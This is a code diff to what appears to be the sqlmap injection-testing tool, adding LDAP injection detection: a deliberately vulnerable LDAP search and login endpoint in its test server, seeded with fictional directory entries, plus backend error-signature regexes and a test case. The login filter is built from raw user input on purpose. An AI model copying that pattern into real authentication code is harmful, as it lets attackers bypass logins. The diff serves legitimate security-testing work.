-faaaa586baa4df245b8780a1a808ebf07e3027ce4245ded3274d908c49e1eecd extra/vulnserver/vulnserver.py +32577fc21a6170266438b608ed81620e0b0a889aa8a05124bc7f0905cba772a6 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -284b5b056f048e5951c43605965f6758cb9cefa54ca30d818b2c1d1c6713fb91 lib/controller/checks.py -b1e89bff221cc907f5033bae941bf7929de9490f5dcdf2747cba676acd2da95b lib/controller/controller.py +c9a1661fc6719655e1e5b6dd72caab680766690c5f746b386093267329f7b3b8 lib/controller/checks.py +256ba0c6967121dc25c95fe09d1165dd8d0530f26c7879e6036f649fb0a6de95 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -189,18 +189,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1e5c125c69d2921ed69041a2462f6b41d11f9c1afdfe1987b60657484aa5ccf0 lib/core/settings.py +af4dcbb3256ae407ade6fa8270d01d4bbf398d50be3be16b80572835662d6c2f lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -5955be979a1d5d3ee221d12e88805f6ef767d43bd4c542e01714cc868c4d020c lib/core/testing.py +83e23dd422b0debc82f14b2d072eb36ee478a23e4299caf986372c8c40d00b2c lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -c515041ee2d50aded9afa371de47c3c44c81b30546fb1f6f170b2169ae5e64b4 lib/parse/cmdline.py +a6440d24f8d6b772221fc78a655d3df07a000ba23e7924bd51cf5068097ee1fb lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -242,6 +242,8 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/graphql/__init__.py a1c5ec208843eb93e0fab40daac090aa3bf914a7dd0afb0f7c55c2db4db8d72b lib/techniques/graphql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py +d469815c430caaafeeba285d10974456b96d7019f95738fe8038bfd0855068e4 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py @@ -601,6 +603,7 @@ bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_err c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py +13d0369f3fea7262f7944999f559da38e5284cbc76660fd7aeffedad78e65f5f tests/test_ldap.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index c13a95526..99189fbab 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -117,6 +117,61 @@ SCHEMA = """ INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); + + CREATE TABLE directory ( + dn TEXT, + uid TEXT, + cn TEXT, + sn TEXT, + givenName TEXT, + displayName TEXT, + userPassword TEXT, + mail TEXT, + objectClass TEXT, + objectCategory TEXT, + ou TEXT, + title TEXT, + department TEXT, + company TEXT, + o TEXT, + telephoneNumber TEXT, + mobile TEXT, + manager TEXT, + description TEXT, + l TEXT, + st TEXT, + street TEXT, + postalCode TEXT, + c TEXT, + employeeNumber TEXT, + employeeType TEXT, + member TEXT + ); + -- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail, + -- objectClass, objectCategory, ou, title, department, company, o, + -- telephoneNumber, mobile, manager, description, l, st, street, + -- postalCode, c, employeeNumber, employeeType, member + INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', 'luther@example.com', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL); + INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', 'fluffy@example.com', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', 'wu@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', 'mark@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', 'ada@example.com', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', 'grace@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', 'alan@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', 'margaret@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', 'donald@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', 'tim@example.com', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', 'linus@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', 'ken@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', 'dennis@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', 'barbara@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', 'edsger@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com'); """ LISTEN_ADDRESS = "localhost" @@ -246,6 +301,201 @@ def waf_score(value, ua=None, level=0): retVal += WAF_SCANNER_UA_WEIGHT return retVal +# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------ + +def _ldap_escape_like(value): + """Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent, + and underscore are the only characters with special meaning in LIKE.""" + if value is None: + return None + return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + +def _ldap_attr(attr): + """Map an LDAP attribute name to the directory table column, or None if unknown.""" + valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"} + return attr if attr in valid else None + +def _ldap_match(text, start): + """Find the closing ')' that balances the opening '(' at `start`. Skip escaped + hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')' + as a structural closer.""" + depth = 0 + i = start + while i < len(text): + ch = text[i] + if ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + 1 + elif ch == '\\': + i += 1 + i += 1 + return len(text) + +def _ldap_parse_value(text, start): + """Parse an assertion value from filter text at position `start`, handling escape sequences. + Returns (value, end_pos).""" + retVal = [] + i = start + while i < len(text) and text[i] not in (')',): + if text[i] == '\\' and i + 2 < len(text): + retVal.append(chr(int(text[i+1:i+3], 16))) + i += 3 + else: + retVal.append(text[i]) + i += 1 + return ''.join(retVal), i + +def _ldap_filter_to_sql(text, start=0): + """Convert an LDAP filter substring starting at `start` to a parameterized + SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos) + on parse failure. Values are passed as parameters so that user-controlled + characters (apostrophe, backslash, etc.) cannot break the SQL string literal.""" + + if start >= len(text) or text[start] != '(': + return None, [], start + + i = start + 1 + if i >= len(text): + return None, [], start + + op = text[i] + i += 1 + + if op in ('&', '|'): + # Compound filter: collect all sub-filters + sub_clauses = [] + sub_params = [] + while i < len(text) and text[i] == '(': + clause, params, i = _ldap_filter_to_sql(text, i) + if clause: + sub_clauses.append(clause) + sub_params.extend(params) + # Always use bracket-matched end so nested compounds don't shift the + # parent's notion of where this child ends (reviewer blocker 3) + end = _ldap_match(text, start) + if not sub_clauses: + return None, [], end + if len(sub_clauses) == 1: + return sub_clauses[0], sub_params, end + joiner = " AND " if op == '&' else " OR " + return "(%s)" % joiner.join(sub_clauses), sub_params, end + + elif op == '!': + # NOT filter + clause, params, i = _ldap_filter_to_sql(text, i) + end = _ldap_match(text, start) + if clause: + return "(NOT (%s))" % clause, params, end + return None, [], end + + else: + # Simple filter: attr OP value + # Re-read from start+1 to get the full attr name + j = start + 1 + while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'): + j += 1 + attr = text[start+1:j].strip() + if not attr: + return None, [], _ldap_match(text, start) + + col = _ldap_attr(attr) + if col is None: + return None, [], _ldap_match(text, start) + + if j >= len(text): + return None, [], start + + # Check for approx match (~=) + if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=': + op_type = '~=' + j += 2 + elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=': + op_type = '>=' + j += 2 + elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=': + op_type = '<=' + j += 2 + elif text[j] == '=': + op_type = '=' + j += 1 + else: + return None, [], _ldap_match(text, start) + + value, _ = _ldap_parse_value(text, j) + end = _ldap_match(text, start) + + if op_type == '=': + if value == '*': + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif '*' in value: + parts = value.split('*') + if len(parts) == 2 and not parts[0] and not parts[1]: + # Just '*' -> presence + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif len(parts) == 2 and parts[0] and not parts[1]: + # 'prefix*' -> anchored prefix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end + elif len(parts) == 2 and not parts[0] and parts[1]: + # '*suffix' -> anchored suffix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end + else: + # '*mid*', 'pre*mid*suf', etc. -- split('*') already + # partitions the value into literal segments; joining + # them with '%' naturally produces the correct anchored + # LIKE pattern: empty first/last elements from surrounding + # wildcards become leading/trailing '%' automatically. + pattern = '%'.join(_ldap_escape_like(p) for p in parts) + return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end + else: + return "(%s = ?)" % col, [value], end + elif op_type == '>=': + return "(%s >= ?)" % col, [value], end + elif op_type == '<=': + return "(%s <= ?)" % col, [value], end + elif op_type == '~=': + return "(%s = ?)" % col, [value], end + + return None, [], end + + +def _ldap_execute(filter_str): + """Execute an LDAP filter against the directory table. Returns (rows, error_msg).""" + if not filter_str or not filter_str.strip(): + return None, "Bad search filter" + + # Simple bracket validation + if filter_str.count('(') != filter_str.count(')'): + return None, "Bad search filter (-7)" + + try: + clause, params, _ = _ldap_filter_to_sql(filter_str) + if not clause: + return None, "Bad search filter (-7)" + + sql = "SELECT * FROM directory WHERE %s" % clause + with _lock: + _cursor.execute(sql, params) + rows = _cursor.fetchall() + return rows, None + except Exception as ex: + msg = str(ex) + # Emulate different back-end error messages + if "no such column" in msg.lower(): + return None, "Bad search filter" + if "unrecognized" in msg.lower() or "syntax" in msg.lower(): + return None, "Bad search filter (-7)" + return None, "Bad search filter (%s)" % msg.split(':')[0] + +def _ldap_row_to_obj(row): + """Convert a SQLite row to a dict with non-None attributes.""" + if not row: + return None + keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member") + return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None) + # --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ---------- # Hard-coded introspection response matching the schema below. Every GraphQL tool (including @@ -594,6 +844,51 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url in ("/ldap", "/ldap/search"): + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + if q: + filter_str = "(|(cn=*%s*)(sn=*%s*)(mail=*%s*)(uid=*%s*)(description=*%s*))" % (q, q, q, q, q) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 1, "errorMessage": error}) + else: + entries = [_ldap_row_to_obj(r) for r in (rows or [])] + output = json.dumps({"resultCode": 0, "entries": entries, "count": len(entries)}, default=str) + else: + output = json.dumps({"resultCode": 0, "entries": [], "count": 0}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/ldap/login": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + user = self.params.get("user", "") + password = self.params.get("pass", "") + if user and password: + filter_str = "(&(uid=%s)(userPassword=%s))" % (user, password) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 49, "errorMessage": error}) + elif rows: + entry = _ldap_row_to_obj(rows[0]) + output = json.dumps({"resultCode": 0, "authenticated": True, "user": entry}, default=str) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Invalid credentials"}) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Missing credentials"}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 6a9fa8d34..f51d42000 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -82,6 +82,7 @@ from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT @@ -1186,6 +1187,13 @@ def heuristicCheckSqlInjection(place, parameter): if conf.beep: beep() + if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""): + infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 7b5b0dff3..2294a66c1 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -514,12 +514,7 @@ def start(): setupTargetEnv() - if conf.graphql: - from lib.techniques.graphql.inject import graphqlScan - graphqlScan() - continue - - if not checkConnection(suppressOutput=conf.forms): + if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms): continue if conf.rParam and kb.originalPage: @@ -533,11 +528,21 @@ def start(): checkWaf() + if conf.graphql: + from lib.techniques.graphql.inject import graphqlScan + graphqlScan() + continue + if conf.nosql: from lib.techniques.nosql.inject import nosqlScan nosqlScan() continue + if conf.ldap: + from lib.techniques.ldap.inject import ldapScan + ldapScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/settings.py b/lib/core/settings.py index 22f29e553..d50f1eded 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.163" +VERSION = "1.10.6.164" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -843,7 +843,7 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value -DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" +DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" @@ -939,6 +939,44 @@ GRAPHQL_RUNTIME_ERRORS = ( ) GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) +# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against +# HTTP response bodies). Each tuple is (backend_name, regex_fragment). +LDAP_ERROR_SIGNATURES = ( + ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"), + ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"), + ("Microsoft Active Directory", r"80090308:\s*LdapErr"), + ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"), + ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"), + ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"), + ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"), + ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"), + ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"), + ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"), + ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"), + ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"), +) + +# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising +# that an error response originates from an LDAP back-end rather than a generic HTTP 500 +LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison +LDAP_CHAR_MIN = 0x20 +LDAP_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during LDAP blind extraction +LDAP_MAX_LENGTH = 256 + +# Attributes that definitively identify the backend vendor when probed on the RootDSE or +# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend). +LDAP_FINGERPRINT_ATTRIBUTES = ( + ("objectGUID", None, "Microsoft Active Directory"), + ("vendorName", "OpenLDAP", "OpenLDAP"), + ("vendorName", "Apache Software Foundation", "ApacheDS"), + ("vendorName", "Oracle Corporation", "Oracle Directory Server"), + ("vendorName", "Red Hat", "389 Directory Server"), +) + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/core/testing.py b/lib/core/testing.py index d30c63edb..0362cc600 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -90,6 +90,7 @@ def vulnTest(): ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP boolean-based blind", "LDAP: GET parameter 'q' directory entries", "dumped", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d 